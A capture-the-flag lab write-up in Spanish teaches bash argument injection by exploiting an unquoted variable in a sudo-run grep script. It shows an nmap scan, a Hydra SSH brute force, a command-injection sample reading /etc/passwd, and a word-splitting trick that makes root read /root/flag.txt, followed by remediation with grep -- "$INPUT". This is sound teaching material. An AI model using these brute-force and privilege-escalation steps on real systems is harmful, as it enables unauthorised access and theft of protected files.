Descripción del laboratorio
Un sistema de validación de entradas protege el servidor mediante una lista blanca. El equipo de seguridad revisó el código y confirmó que "todas las variables usan comillas". Tu misión: encontrar por qué esa afirmación no es suficiente.
playerletmein/usr/local/bin/validadorgrep $INPUT — sin comillas!Contexto: inyección de argumentos vs. command injection
La inyección de argumentos es más sutil que la inyección de comandos clásica:
| Tipo | Requiere | Ejemplo |
|---|---|---|
| Command injection | Metacaracteres shell (; & | $) | input; cat /etc/passwd |
| Argument injection | Solo una opción o ruta válida | --file /root/flag.txt |
Si el atacante controla qué argumentos llegan a un programa como grep,
puede modificar su comportamiento completamente sin ningún metacarácter.
En bash, la causa principal es una variable sin comillas:
# VULNERABLE: word-splitting + inyección de opciones grep $INPUT archivo.txt # FIX PARCIAL: evita word-splitting, pero --version sigue funcionando grep "$INPUT" archivo.txt # FIX COMPLETO: -- marca fin de opciones + comillas evitan splitting grep -- "$INPUT" archivo.txt
Explotación paso a paso
nmap -sV -p- --min-rate 3000 <LAB_IP>
PORT STATE SERVICE VERSION 2222/tcp open ssh OpenSSH 7.9p1 Debian
Solo SSH disponible. El objetivo es acceder al sistema.
ssh guest@<LAB_IP> -p 2222
GhostLabs Security Platform v2.0
Input validation service: ACTIVE
Contact: player (security operator)
guest@<LAB_IP>'s password:
El banner revela el usuario: player. Pulsamos Ctrl+C para cancelar.
hydra -l player -P /usr/share/wordlists/rockyou.txt ssh://<LAB_IP>:2222 -t 4
[2222][ssh] host: <LAB_IP> login: player password: letmein
ssh player@<LAB_IP> -p 2222
GhostLabs Security Platform v2.0 Input validation service: ACTIVE All user inputs are sanitized.
cat ~/README.txt
Sistema de validacion de entradas v2.0
El servicio filtra entradas usando una lista blanca para prevenir injection.
La implementacion fue revisada por el equipo de seguridad:
todas las variables de usuario usan comillas para evitar injection.
El README asegura que "todas las variables usan comillas". Esta afirmación nos indica que hay algo interesante que revisar en el código.
sudo -l
User player may run the following commands on ghostlabs-argument:
(root) NOPASSWD: /usr/local/bin/validador
cat /usr/local/bin/validador
#!/bin/bash
WHITELIST="/usr/local/share/ghostlabs/whitelist.txt"
...
INPUT=$1
echo "[*] Verificando entrada: '$INPUT'"
grep $INPUT "$WHITELIST" ← ¡$INPUT sin comillas!
El README decía "todas las variables usan comillas". En la asignación INPUT=$1,
las comillas no son necesarias (la asignación no sufre word-splitting). Pero en
grep $INPUT "$WHITELIST", $INPUT NO está entre comillas.
Ahí está el bug.
Uso normal:
sudo validador admin
[*] Verificando entrada: 'admin' admin [✓] Patron encontrado en la lista blanca
Inyectamos una opción de grep:
sudo validador --version
[*] Verificando entrada: '--version'
grep (GNU grep) 3.6
...
[✓] Patron encontrado en la lista blanca
grep mostró su versión en lugar de buscar el patrón --version en la whitelist.
La inyección de argumentos funciona.
"$INPUT" (comillas en la variable). Las comillas evitan word-splitting pero grep sigue interpretando opciones que empiezan con --. El fix completo requiere grep -- "$INPUT".
Pasamos un string con espacio como único argumento. Porque $INPUT está
sin comillas, el shell aplica word-splitting al expandirlo:
sudo validador ". /root/flag.txt"
Internamente ocurre:
# INPUT recibe el string completo (con espacio) INPUT=". /root/flag.txt" # Al expandir SIN comillas, el shell hace word-splitting: grep $INPUT "$WHITELIST" # ↓ se convierte en: grep . /root/flag.txt /usr/local/share/ghostlabs/whitelist.txt # ^ ^ ^ # patrón archivo extra archivo original
grep busca . (cualquier carácter) en AMBOS archivos:
[*] Verificando entrada: '. /root/flag.txt'
/root/flag.txt:GhostLabs{4rgum3nt_1nj3ct10n}
/usr/local/share/ghostlabs/whitelist.txt:admin
/usr/local/share/ghostlabs/whitelist.txt:user
/usr/local/share/ghostlabs/whitelist.txt:root
/usr/local/share/ghostlabs/whitelist.txt:test
/usr/local/share/ghostlabs/whitelist.txt:guest
/usr/local/share/ghostlabs/whitelist.txt:operator
[✓] Patron encontrado en la lista blanca
¿Por qué falla la "sanitización"?
| Problema | Causa | Fix |
|---|---|---|
| Word-splitting | $INPUT sin comillas → el shell divide en tokens al expandir |
"$INPUT" |
| Inyección de opciones | grep parsea su propio argv → --version siempre es opción |
-- "$INPUT" |
Progresión del fix:
# Nivel 1 — vulnerable a todo grep $INPUT whitelist.txt # Nivel 2 — evita word-splitting, sigue vulnerable a --opciones grep "$INPUT" whitelist.txt # Nivel 3 — fix completo grep -- "$INPUT" whitelist.txt
La ironía: el README decía "todas las variables usan comillas".
En INPUT=$1 las comillas no son necesarias (no hay word-splitting en asignaciones simples).
El error fue no ponerlas donde SÍ importan: en el uso.
Remediación
# Versión corregida del validador
grep -- "$INPUT" "$WHITELIST"
| Elemento | Propósito |
|---|---|
| "$INPUT" | Comillas → evita word-splitting y globbing |
| -- | Marca el fin de las opciones de grep; lo que sigue es patrón aunque empiece con - |
Adicionalmente, validar que el input no contenga caracteres inesperados:
if [[ "$INPUT" =~ [^a-zA-Z0-9_-] ]]; then
echo "[!] Caracteres no permitidos"
exit 1
fi
Herramientas utilizadas
| Herramienta | Uso |
|---|---|
| nmap | Descubrimiento del puerto SSH |
| ssh | Enumeración de banner pre-autenticación + acceso inicial |
| hydra | Fuerza bruta SSH con rockyou.txt |
| sudo -l | Descubrimiento del binario privilegiado |
| cat | Lectura del script para analizar el bug |
| bash word-splitting | Mecanismo de explotación |